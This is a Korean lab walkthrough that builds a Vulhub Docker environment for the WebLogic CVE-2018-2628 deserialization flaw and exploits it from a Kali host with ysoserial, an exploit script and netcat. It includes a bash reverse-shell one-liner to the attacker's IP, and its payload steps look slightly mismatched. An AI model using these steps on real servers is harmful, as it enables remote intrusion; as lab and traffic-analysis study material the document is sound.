사전 준비
VMware Workstation 15
Ubuntu 20.04 192.168.50.157
Kali Linux 192.168.50.53
설치 과정
Docker 설치는 다음과 같습니다:
sudo apt-get update
sudo apt-get install docker.io
Git 설치:
sudo apt-get install git
Net-tools 설치:
sudo apt-get install net-tools
Docker 버전 확인 후 서비스 시작:
docker --version
sudo service docker start
국내 Docker 미러 설정 (예: Naver Cloud):
{
"registry-mirrors": ["https://mirror.boram.io"]
}
위 설정을 /etc/docker/daemon.json 파일에 추가하고 Docker 재시작:
sudo systemctl restart docker
Vulhub 다운로드 및 압축 해제:
wget https://github.com/vulhub/vulhub/archive/main.zip -O vulhub-main.zip
unzip vulhub-main.zip
cd vulhub-main
WebLogic 취약점 시나리오 사용을 위해 /vulhub-main/weblogic/CVE-2018-2628 디렉토리로 이동:
cd vulhub-main/weblogic/CVE-2018-2628
Docker Compose로 환경 시작:
docker-compose up -d
실행 중인 프로세스 확인:
docker ps
다중 컨테이너 관리 명령어:
docker start $(docker ps -qa) # 모든 컨테이너 시작
docker stop $(docker ps -qa) # 모든 컨테이너 중지
docker rmi $(docker images -q) # 모든 이미지 삭제
docker exec -it [CONTAINER_ID] /bin/bash # 특정 컨테이너 내부 접속
docker export -o test.tar [CONTAINER_ID] # 컨테이너 백업
cat test.tar | docker import - test_123 # 백업 복원
docker push myrepo/myimage:v1 # Docker Hub에 이미지 업로드
docker pull myrepo/myimage # Docker Hub에서 이미지 다운로드
Ubuntu에서 WebLogic 콘솔 접근:
http://192.168.50.157:7001/console/login/LoginForm.jsp
Ysoserial 도구 컴파일:
git clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn clean package -DskipTests
취약점 이용
Shell 역방향 코드 생성:
echo 'bash -i >& /dev/tcp/192.168.50.53/8888 0>&1' | base64
Ysoserial로 JRMPListener 실행:
java -jar ysoserial-all.jar JRMPListener 1099 CommonsCollections6 'nc -lvnp 8888'
Exploit 스크립트 실행:
python exploit.py 192.168.50.157 7001 ysoserial-all.jar 192.168.50.53 1099 JRMPClient
Ubuntu에서 트래픽 캡처:
sudo tcpdump -i ens33 -w weblogic.pcap
Kali Linux에서 Netcat으로 포트 리스닝:
nc -lnvp 8888
캡처 종료 후 pcap 분석.